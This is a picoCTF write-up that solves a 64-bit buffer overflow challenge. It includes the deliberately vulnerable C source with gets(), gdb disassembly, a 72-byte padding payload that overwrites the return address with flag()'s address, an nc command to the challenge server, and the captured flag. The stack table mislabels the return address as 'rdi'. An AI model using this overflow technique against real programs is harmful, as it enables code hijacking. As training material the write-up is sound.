picoCTF

X Sixty What [200 pts]

 Challenge Description

Challenge Description:

Overflow x64 code
Most problems before this are 32-bit x86. Now we’ll consider 64-bit x86 which is a little different! Overflow the buffer and change the return address to the flag function in this program. Download source.
nc saturn.picoctf.net [port #]


We’re given a binary ELF file and a C source file. Here’s the C source:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  vuln();
  return 0;
}

First things first, create a flag.txt file and enter whatever text you’d like so we can run the program in our local machine.
chmod +x vuln to enable execution
gdb vuln to enter debugger
disass vuln:

Dump of assembler code for function vuln:

   0x00000000004012b2 <+0>:     endbr64 
   0x00000000004012b6 <+4>:     push   %rbp
   0x00000000004012b7 <+5>:     mov    %rsp,%rbp
   0x00000000004012ba <+8>:     sub    $0x40,%rsp
   0x00000000004012be <+12>:    lea    -0x40(%rbp),%rax
   0x00000000004012c2 <+16>:    mov    %rax,%rdi
   0x00000000004012c5 <+19>:    mov    $0x0,%eax
   0x00000000004012ca <+24>:    call   0x401100 <gets@plt>
   0x00000000004012cf <+29>:    nop
   0x00000000004012d0 <+30>:    leave  
   0x00000000004012d1 <+31>:    ret
End of assembler dump.

0x00000000004012b7 <+5>: mov %rsp,%rbp This instruction makes it so that rsp and rbp point to the same address
0x00000000004012ba <+8>: sub $0x40,%rsp
This instruction creates 0x40, i.e. 64, bytes of space.

Currently, the stack looks like this:

Stack Stack Offset
Return Address (rdi) 0x48 - 0x56
Base Pointer (rbp) 0x40 - 0x48
0x40 bytes of space 0x0 - 0x40
Stack Pointer (rsp) 0x0

Given that the vuln function utilizes the gets function for input, we know we can perform a buffer overflow attack to overwrite the return address.

Let’s dynamically confirm where the input is stored on the stack:

b *vuln+29 to set a breakpoint right after the call function finishes.
r to run the function
Enter whatever input you can recognize in hex form.
x/100x $rsp to check the stack
You should see something like the following in the first few rows:

0x7fffa44053b0: 0x61616161      0x61616161      0x00616161      0x00007fc6
0x7fffa44053c0: 0x6777c780      0x00007fc6      0x675e3765      0x00007fc6
0x7fffa44053d0: 0x00000000      0x00000000      0xa4405420      0x00007fff

Note that our input (I entered ‘aaaaaaaaaaa’) shows up in the beginning of the stack. Thus, our input is definitely located at $rsp+0x0 disass flag:

Dump of assembler code for function flag:
   0x0000000000401236 <+0>:     endbr64 
   0x000000000040123a <+4>:     push   %rbp
   0x000000000040123b <+5>:     mov    %rsp,%rbp
   0x000000000040123e <+8>:     sub    $0x50,%rsp
   0x0000000000401242 <+12>:    lea    0xdbf(%rip),%rsi        # 0x402008
   0x0000000000401249 <+19>:    lea    0xdba(%rip),%rdi        # 0x40200a
   0x0000000000401250 <+26>:    call   0x401130 <fopen@plt>
   0x0000000000401255 <+31>:    mov    %rax,-0x8(%rbp)
   0x0000000000401259 <+35>:    cmpq   $0x0,-0x8(%rbp)
   0x000000000040125e <+40>:    jne    0x401289 <flag+83>
   0x0000000000401260 <+42>:    lea    0xdac(%rip),%rdx        # 0x402013
   0x0000000000401267 <+49>:    lea    0xdba(%rip),%rsi        # 0x402028
   0x000000000040126e <+56>:    lea    0xde8(%rip),%rdi        # 0x40205d
   0x0000000000401275 <+63>:    mov    $0x0,%eax
   0x000000000040127a <+68>:    call   0x4010e0 <printf@plt>
   0x000000000040127f <+73>:    mov    $0x0,%edi
   0x0000000000401284 <+78>:    call   0x401140 <exit@plt>
   0x0000000000401289 <+83>:    mov    -0x8(%rbp),%rdx
   0x000000000040128d <+87>:    lea    -0x50(%rbp),%rax
   0x0000000000401291 <+91>:    mov    $0x40,%esi
   0x0000000000401296 <+96>:    mov    %rax,%rdi
   0x0000000000401299 <+99>:    call   0x4010f0 <fgets@plt>
   0x000000000040129e <+104>:   lea    -0x50(%rbp),%rax
   0x00000000004012a2 <+108>:   mov    %rax,%rdi
   0x00000000004012a5 <+111>:   mov    $0x0,%eax
   0x00000000004012aa <+116>:   call   0x4010e0 <printf@plt>
   0x00000000004012af <+121>:   nop
   0x00000000004012b0 <+122>:   leave  
   0x00000000004012b1 <+123>:   ret    
End of assembler dump.

The important thing here is the address of the flag function, 0x0000000000401236.
We need to overwrite the return address, which is located at offset $rsp+0x48. (This is because there is 0x40 bytes of space between the stack pointer and base pointer and the base pointer itself is 0x8 bytes since this is x64).
We can send a hex-encoded input to ./vuln to do this.

python -c "print('a'*72)" > input
echo -ne '\x36\x12\x40\x00\x00\x00\x00\x00' >> input

The first command writes 72 ‘a’ characters to the file input for the buffer, i.e. to get to offset 0x48.
The second part writes the hex values of the flag function address, which we cannot easily write in ascii. Note that the bytes are written in reverse order because of little endianness.

Run ./vuln < input, which should return the contents of your flag.txt file.


If you instead received a segmentation fault without the flag, check the second hint of the problem, which states: Jump to the second instruction (the one after the first push) in the flag function, if you’re getting mysterious segmentation faults.

To fix this, we need to jump to the instruction right after the first push in the flag function:
0x000000000040123b <+5>: mov %rsp,%rbp

This has address 0x000000000040123b, so we we only need to slightly modify our commands:

python -c "print('a'*72)" > input
echo -ne '\x3b\x12\x40\x00\x00\x00\x00\x00' >> input

Now you should get your flag.txt file contents.


Once you receive your flag.txt file contents, the challenge is done!
Run nc -q 2 saturn.picoctf.net [port #] < input, which will return your flag.
Note that -q 2 makes the connection wait 2 seconds after the EOF (end of file) before closing input, which allows us to receive the flag.

picoCTF{b1663r_15_b3773r_d95e02b6}